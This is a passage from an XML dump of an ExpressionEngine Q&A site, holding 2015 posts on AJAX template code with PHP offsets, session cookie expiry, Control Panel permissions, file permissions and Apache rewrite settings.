href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                        src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;                        &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{exp:word_limit total=&quot;15&quot;}{body}{/exp:word_limit}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {if:else}&#xA;                        &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{exp:word_limit total=&quot;15&quot;}{body}{/exp:word_limit}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                            &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                    src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            &amp;lt;!-- /Wrap content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /Row --&amp;gt;&#xA;    &amp;lt;div class=&quot;row margin-top-20&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;3&quot; offset=&quot;`&amp;lt;?=($i+4);?&amp;gt;`&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;        &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {exp:word_limit total=&quot;15&quot;}&#xA;                        {body}&#xA;                        {/exp:word_limit}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;advertisement&quot;&amp;gt;&#xA;                {ad_300x250_general_top}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /Row --&amp;gt;&#xA;    &amp;lt;div class=&quot;row margin-top-20&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;3&quot; offset=&quot;`&amp;lt;?=($i+8);?&amp;gt;`&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;        &amp;lt;div class=&quot;col-md-4 col-sm-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;wrap-content clearfix&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                    {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                    &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                    src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {exp:word_limit total=&quot;15&quot;}&#xA;                            {body}&#xA;                            {/exp:word_limit}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- /Wrap content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;row margin-top-20&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;4&quot; offset=&quot;`&amp;lt;?=($i+11);?&amp;gt;`&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;            &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                    {if '{exp:surgeree:modulo numerator=&quot;{count}&quot; denominator=&quot;2&quot;}' == 0}&#xA;                    &amp;lt;div class=&quot;post-content&quot; id=&quot;{count}&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {exp:word_limit total=&quot;15&quot;}&#xA;                            {body}&#xA;                            {/exp:word_limit}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                    &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    {if:else}&#xA;                    {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                    &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;post-content&quot; id=&quot;{count}&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {exp:word_limit total=&quot;15&quot;}&#xA;                            {body}&#xA;                            {/exp:word_limit}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            &amp;lt;!-- /Cols --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols 9 --&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;add&quot;&amp;gt;&#xA;                {ad_300x100_general_top}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;add&quot;&amp;gt;&#xA;                {ad_300x100_general_top}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;?php exit; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6447" LastEditorUserId="210" LastEditDate="2015-07-07T14:57:33.013" LastActivityDate="2015-07-07T15:14:30.123" Title="Plugin code doesn't working on ajax?" Tags="|ajax|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32205" PostTypeId="1" CreationDate="2015-07-07T09:11:30.067" Score="0" ViewCount="44" Body="&lt;p&gt;I've just upgraded my site from 2.8.1 to 2.9.3 and now certain bits of it are failing. It seems that a new &quot;Template Runtime Annotation Class&quot; introduced in 2.9.0 is randomly dumping comment markers into rendered templates (for reasons I still don't truly fathom) and it's causing all the parts of my site which are expecting good json to fail. &#xA;Is there any way I can turn this &quot;feature&quot; off, even if it's only conditionally? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And help here is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2016-06-01T09:12:28.483" Title="Can the annotation class be deactivated?" Tags="|upgrade|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32206" PostTypeId="1" AcceptedAnswerId="32209" CreationDate="2015-07-07T10:26:55.520" Score="0" ViewCount="90" Body="&lt;p&gt;I'm new to the ExpressionEngine but I cannot find 'Design' tab in the main menu. Does anyone know how to add it or the provide the sample URL so that I can reach Design page on my site?&lt;/p&gt;&#xA;" OwnerUserId="6468" LastActivityDate="2015-07-07T10:46:08.263" Title="Cannot find 'Design' tab in the main menu" Tags="|ee2|ee2.9.2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32207" PostTypeId="2" ParentId="30508" CreationDate="2015-07-07T10:33:04.117" Score="0" Body="&lt;p&gt;Not really a clean solution, but a functional work-around which I stumbled across in another forum...&#xA;Edit the file editor_gecko.css and look for a definition for .cke_source&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the value from &lt;strong&gt;white-space:pre;&lt;/strong&gt; to &lt;strong&gt;white-space:pre-wrap!important;&lt;/strong&gt;&#xA;and wygwam will wrap content in the source view in Firefox as well.&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2015-07-07T10:33:04.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32208" PostTypeId="1" AcceptedAnswerId="32211" CreationDate="2015-07-07T10:44:20.153" Score="0" ViewCount="130" Body="&lt;p&gt;This is on EE 2.10.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Website Sessions are set to Cookie Only.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['sess_expiration']  = 1440;&#xA;$config['sess_expire_on_close'] = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;phpinfo()&lt;/code&gt; reports &lt;code&gt;session.gc_maxlifetime&lt;/code&gt; of &lt;code&gt;1440&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User logs in, cookie is set. User closes browser and opens again and finds that the cookie has not been cleared and so they are still logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we enforce session cookies to expire when the session ends?&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2015-07-07T11:02:37.077" Title="User not logged out when browser closed" Tags="|members|sessions|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32209" PostTypeId="2" ParentId="32206" CreationDate="2015-07-07T10:46:08.263" Score="1" Body="&lt;p&gt;First, just to check, you are logged into the Control Panel (where the menu is)? Are you logged in as the super user or another user? Is the user a member of the same group as user 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, this will indicate user group permissions. The &quot;Can Access Control Panel&quot; permission only allows you in, in the same section there is a &quot;Can access DESIGN section&quot; permission, make sure this is set to yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other permissions to check are in the &quot;Control Panel Administration&quot; section, &quot;Can administrate template groups and templates&quot; and &quot;Can administrate design preferences&quot;, Test with these set to yes (these should control what is available in menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, check the &quot;Template Editing Privileges&quot; section, this shouldn't stop the menu appearing but again might remove links and if a menu has no links it may not show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its not Group Permissions, check your &quot;Main Menu Manager&quot; Settings in &quot;My Account&quot; (Click your name in the top right). See if there's anything going on here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, check you have no extensions or otherwise 'mucking about' wit hthe menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check the above, and report back if you don't get any results and we'll investigate further. There's no chance of any tom foolary in the database or core files is there? &lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-07T10:46:08.263" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32210" PostTypeId="2" ParentId="32205" CreationDate="2015-07-07T10:49:20.353" Score="0" Body="&lt;p&gt;I don't think it can I'm afraid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those comments are placeholder markers. With the new Layout template system it's necessary to pre-parse or extrract parts of templates for later substitusion, these markers are what you're seeing I belive, do they look somethnig like this : &lt;code&gt;{!-- rsa9234458637 --}&lt;/code&gt;??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have got an &lt;code&gt;exit&lt;/code&gt; or &lt;code&gt;end&lt;/code&gt; in your JSON handler (I call this the endpoint, the URL that if called in the AJAX call), after its finished writing output, if your using PHP, if this is the case you'll have to get rid of that as it stops the template evaluation 'mid flow' and those placeholders wont get parsed out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would guess the problem is somewhere like this, in the JSON Endpoint. if you can supply code/examples we can perhaps help out more specifically. Or you could always debug this with the hello world technique, replace your endpoint with a simple JSON string `{'test':'hello world'} and test that you get that reponse, then add your logic back in until you find the bit thats causing the template engine to fail early.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-07T10:49:20.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32211" PostTypeId="2" ParentId="32208" CreationDate="2015-07-07T11:02:37.077" Score="0" Body="&lt;p&gt;According to the code, (File /system/expressionengine/libraries/Session.php, Line 1406), ifthe boolean config item ccalled &lt;code&gt;expire_session_on_browser_close&lt;/code&gt; is true, the session lifetime is returned as 0, which indicates a session cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would set the lifetime to 0, see if that gets it. However the real issue is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice the config item called does not match your config item name in the code, this is further confirmed with the docs here : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#expire-session-on-browser-close&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#expire-session-on-browser-close&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['sess_expiration']  = 0;&#xA;$config['expire_session_on_browser_close'] = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you should be good as gravy :D&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-07T11:02:37.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32212" PostTypeId="2" ParentId="21988" CreationDate="2015-07-07T12:00:01.653" Score="-1" Body="&lt;p&gt;Did you remember to activate the rewrite module on Apache?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ a2enmod rewrite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6469" LastEditorUserId="1100" LastEditDate="2015-07-07T14:57:41.840" LastActivityDate="2015-07-07T14:57:41.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32213" PostTypeId="1" AcceptedAnswerId="32219" CreationDate="2015-07-07T12:17:21.480" Score="0" ViewCount="330" Body="&lt;p&gt;I'm seeing &lt;code&gt;PHPSESSID&lt;/code&gt; set at &lt;code&gt;/members/&lt;/code&gt; when I have &lt;code&gt;$config['cookie_path'] = ''&lt;/code&gt; (also tried &lt;code&gt;$config['cookie_path'] = '/'&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't this config ensure all session cookies are set at the root path? I'm finding data I have in &lt;code&gt;$_SESSION&lt;/code&gt; is not available at paths other than &lt;code&gt;/members/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2015-07-07T15:22:02.297" Title="Setting a global session cookie path" Tags="|members|config|sessions|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32214" PostTypeId="2" ParentId="32151" CreationDate="2015-07-07T14:44:00.277" Score="0" Body="&lt;p&gt;777 is unsafe (public write on config files, nice), especially on a shared enviroment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend 775.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The web user needs write permissions to set config values.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-07T14:44:00.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32216" PostTypeId="2" ParentId="32204" CreationDate="2015-07-07T15:14:30.123" Score="1" Body="&lt;p&gt;Ok, forget my previous answer, let me just correct this all for you!!!! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy paste this into your template : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $i = &quot;{segment_4}&quot;;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;section class=&quot;subsection ajax&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;2&quot; dynamic=&quot;off&quot; offset=&quot;&amp;lt;?php echo $i ?&amp;gt;&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;        &amp;lt;div class=&quot;col-md-4 col-sm-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {exp:word_limit total=&quot;15&quot;}&#xA;                        {body}&#xA;                        {/exp:word_limit}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;div class=&quot;col-md-4 col-sm-4&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;2&quot; dynamic=&quot;off&quot; offset=&quot;&amp;lt;?php echo ($i+2) ?&amp;gt;&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;            &amp;lt;div class=&quot;wrap-content clearfix&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                    {if {count} == 1}&#xA;                        {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                        &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                        src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;                        &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{exp:word_limit total=&quot;15&quot;}{body}{/exp:word_limit}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {if:else}&#xA;                        &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{exp:word_limit total=&quot;15&quot;}{body}{/exp:word_limit}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                            &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                    src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            &amp;lt;!-- /Wrap content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /Row --&amp;gt;&#xA;    &amp;lt;div class=&quot;row margin-top-20&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;3&quot; offset=&quot;&amp;lt;?php echo ($i+4) ?&amp;gt;&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;        &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {exp:word_limit total=&quot;15&quot;}&#xA;                        {body}&#xA;                        {/exp:word_limit}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;advertisement&quot;&amp;gt;&#xA;                {ad_300x250_general_top}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /Row --&amp;gt;&#xA;    &amp;lt;div class=&quot;row margin-top-20&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;3&quot; offset=&quot;&amp;lt;?php echo ($i+8) ?&amp;gt;&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;        &amp;lt;div class=&quot;col-md-4 col-sm-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;wrap-content clearfix&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                    {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                    &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img&#xA;                    src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {exp:word_limit total=&quot;15&quot;}&#xA;                            {body}&#xA;                            {/exp:word_limit}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- /Wrap content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;row margin-top-20&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;4&quot; offset=&quot;&amp;lt;?php echo ($i+11) ?&amp;gt;&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;            &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                    {if '{exp:surgeree:modulo numerator=&quot;{count}&quot; denominator=&quot;2&quot;}' == 0}&#xA;                    &amp;lt;div class=&quot;post-content&quot; id=&quot;{count}&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {exp:word_limit total=&quot;15&quot;}&#xA;                            {body}&#xA;                            {/exp:word_limit}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                    &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    {if:else}&#xA;                    {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file 